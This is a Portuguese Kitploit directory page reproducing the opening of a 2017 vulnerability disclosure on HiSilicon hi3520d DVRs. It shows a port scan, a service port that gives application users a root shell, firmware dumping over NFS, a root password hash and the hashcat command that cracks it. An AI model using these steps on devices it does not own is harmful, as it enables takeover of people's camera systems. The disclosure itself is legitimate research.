Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pwn-hisilicon-dvr — Prova de conceito de exploit e divulgação de vulnerabilidades para dispositivos DVR/NVR HiSilicon hi3520d. Demonstra RCE via interface web, credenciais de backdoor e análise de buffer overflow. | Kitploit
Ferramentas/GitHubGitHub/tothi/pwn-hisilicon-dvr
Segurança de Sistemas EmbarcadosQuebra de SenhasSegurança IoTMapeamento de RedeAnálise de VulnerabilidadesExploraçãoEngenharia ReversaExploração de Aplicações WebColeta de InformaçõesFuzzingAnálise de Binários
3839020há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubtothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

Prova de conceito de exploit e divulgação de vulnerabilidades para dispositivos DVR/NVR HiSilicon hi3520d. Demonstra RCE via interface web, credenciais de backdoor e análise de buffer overflow.

Ver Repositório

= Hack de DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Conteúdo :image_width: 100%

[abstract] Este relatório divulga vulnerabilidades graves (com código de prova de conceito (PoC)) de dispositivos DVR/NVR construídos com o HiSilicon hi3520d e system-on-a-chip (SoC) similares. A exploração das vulnerabilidades leva à execução remota de código (RCE) não autorizada usando apenas a interface web, causando a assunção total do dispositivo explorado. Devido à falta de firmwares atualizados, não é recomendado utilizar esses dispositivos. O fornecedor foi contactado antes de dezembro de 2016, mas ainda não houve resposta. A data de divulgação do comunicado é fevereiro de 2017.

== prefácio

Há alguns anos, comprei um dispositivo DVR chinês barato no eBay. O logotipo de inicialização do dispositivo diz: "SECULINK - Security Monitoring". Como entusiasta de segurança de TI, decidi analisar mais de perto o dispositivo para ver quão "seguro" é esse serviço de monitoramento de segurança. Pesquisando no Google sobre o assunto, encontrei alguns materiais interessantes, mas fui mais fundo e encontrei problemas muito mais interessantes e muito mais sérios (0-days) sobre o dispositivo.

Vamos dar uma olhada na sessão completa de hacking desde o início. (As novas conquistas próprias serão observadas, assim como as antigas e conhecidas.)

== explorando o DVR

Primeiro devemos aprender a interface oficial do usuário, depois aprofundar, talvez tentar obter o firmware. As chances de encontrar vulnerabilidades aumentam com o firmware.

=== o DVR à primeira vista

O dispositivo DVR destinado a testes tem a marca "Seculink".

image::./seculink_device.png[Dispositivo DVR Seculink]

Interfaces físicas disponíveis:

  • 2 portas USB (oficialmente para mouse para controlar o console da GUI),
  • porta HDMI (e VGA) para conectar monitor externo (para GUI e visualizações de câmeras),
  • 4 conectores BNC para câmeras CCTV analógicas,
  • porta SATA interna para conectar armazenamento para gravar o fluxo de vídeo,
  • porta Ethernet para acesso à rede.

Interfaces oficiais do usuário:

  • acesso direto usando HDMI (ou VGA) como saída e mouse USB / teclado como entrada para visualização / controle / configuração completa das câmeras,
  • acesso em rede através de HTTP para visualização / controle das câmeras.

A interface de configuração diretamente acessível é restrita por autenticação de usuário (nome de usuário, senha). O superusuário padrão é 'admin', a senha padrão é vazia.

Após definir uma senha forte, o usuário pode se sentir seguro de que a visualização de suas câmeras não é acessível por outras pessoas. As pessoas frequentemente encaminham a porta web (tcp/80) do dispositivo DVR para o lado WAN a partir de sua LAN segura para acessar os fluxos do DVR de fora (podemos verificar isso, por exemplo, com uma busca adequada no Shodan ;) ).

=== obtendo o firmware

Pode haver muitas maneiras de obter o firmware:

  • obtê-lo do dispositivo por algum método por software (usando a interface oficial, ou explorando alguma vulnerabilidade),
  • obtê-lo do dispositivo por algum método por hardware (JTAG, console serial, etc.),
  • encontrá-lo e baixá-lo da internet (se estiver disponível).

Embora o último método (download) funcione aqui e seja o mais fácil, vamos tentar o primeiro, porque ele também fornece outras informações sobre o dispositivo.

=== varredura de serviços

Vamos fazer uma varredura completa de portas no DVR. Observe que a varredura SYN (padrão se executada como root) é muito lenta devido a pacotes descartados, mas a varredura completa de conexão TCP termina em alguns minutos.


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


Resumindo e testando manualmente:

  • 23/tcp é uma interface de login telnet protegida por um nome de usuário
  • senha (não as credenciais do aplicativo)
  • 80/tcp é a interface web protegida pelas credenciais do aplicativo
  • 554/tcp é um serviço rtsp; pode ser aberto por uma url rtsp comum:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

Observe que abrir o fluxo rtsp também requer credenciais.

  • 9527/tcp parece ser uma porta de serviço (secreta?) com alguns recursos muito interessantes,
  • 34567/tcp e 34599/tcp parecem ser algumas portas de dados relacionadas ao aplicativo DVR.

Aqui devemos afirmar que o dispositivo é provavelmente algum sistema tipo Linux.

Conectar-se a 9527/tcp (via netcat puro) mostra o console do aplicativo com mensagens de log e um prompt de login. Entrar com qualquer uma das credenciais definidas do aplicativo funciona. Executar help após o prompt dá uma descrição curta dos comandos do console. O comando shell parece ser o mais interessante. Sim, ele dá um shell root para os dispositivos. ;)

Observe que isso é obviamente um grave problema de segurança, porque nenhum usuário do aplicativo (com privilégios baixos) deveria obter um shell root no dispositivo automaticamente.

=== shell root

Explorando o dispositivo no shell root (por exemplo, com dmesg), fica evidente que o DVR está executando um kernel Linux (versão 3.0.8), tem uma CPU ARMv7, o modelo do SoC é hi3520d.

Pela lista de processos em execução (ps), fica claro que o aplicativo DVR é /var/Sofia, que também está escutando em 34568/udp e 34569/udp, além das portas tcp acima detectadas pelo nmap (netstat -nlup).

Pela lista de discos montados (comando mount), fica claro que a imagem do firmware está nos dispositivos /dev/mtdblockX (onde X=0,1,2,3,4,5).

O firmware é pequeno e, portanto, limitado, então devemos ser criativos se quisermos copiar arquivos para/de o dispositivo. Felizmente, o NFS é suportado, então configurar um servidor NFS em nossa máquina desktop e montá-lo a partir do DVR resolve o problema:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

Agora obter o firmware é simples:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

Podemos obter os arquivos (não apenas as imagens brutas):


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== interface telnet

Para acessar o dispositivo através da interface telnet (porta 23/tcp), podemos precisar de algumas credenciais do SO. Olhando em /etc/passwd, temos o hash da senha do usuário root:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

Observe que não há outro usuário além de root, tudo está rodando com privilégios totais. (Então, se alguém invadir o dispositivo de alguma forma, não há barreira, o invasor ganha poder total imediatamente.)

Assumindo uma senha alfanumérica de seis caracteres (minúsculas), o hashcat quebra o hash DES fraco acima rapidamente:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

Baixar ferramenta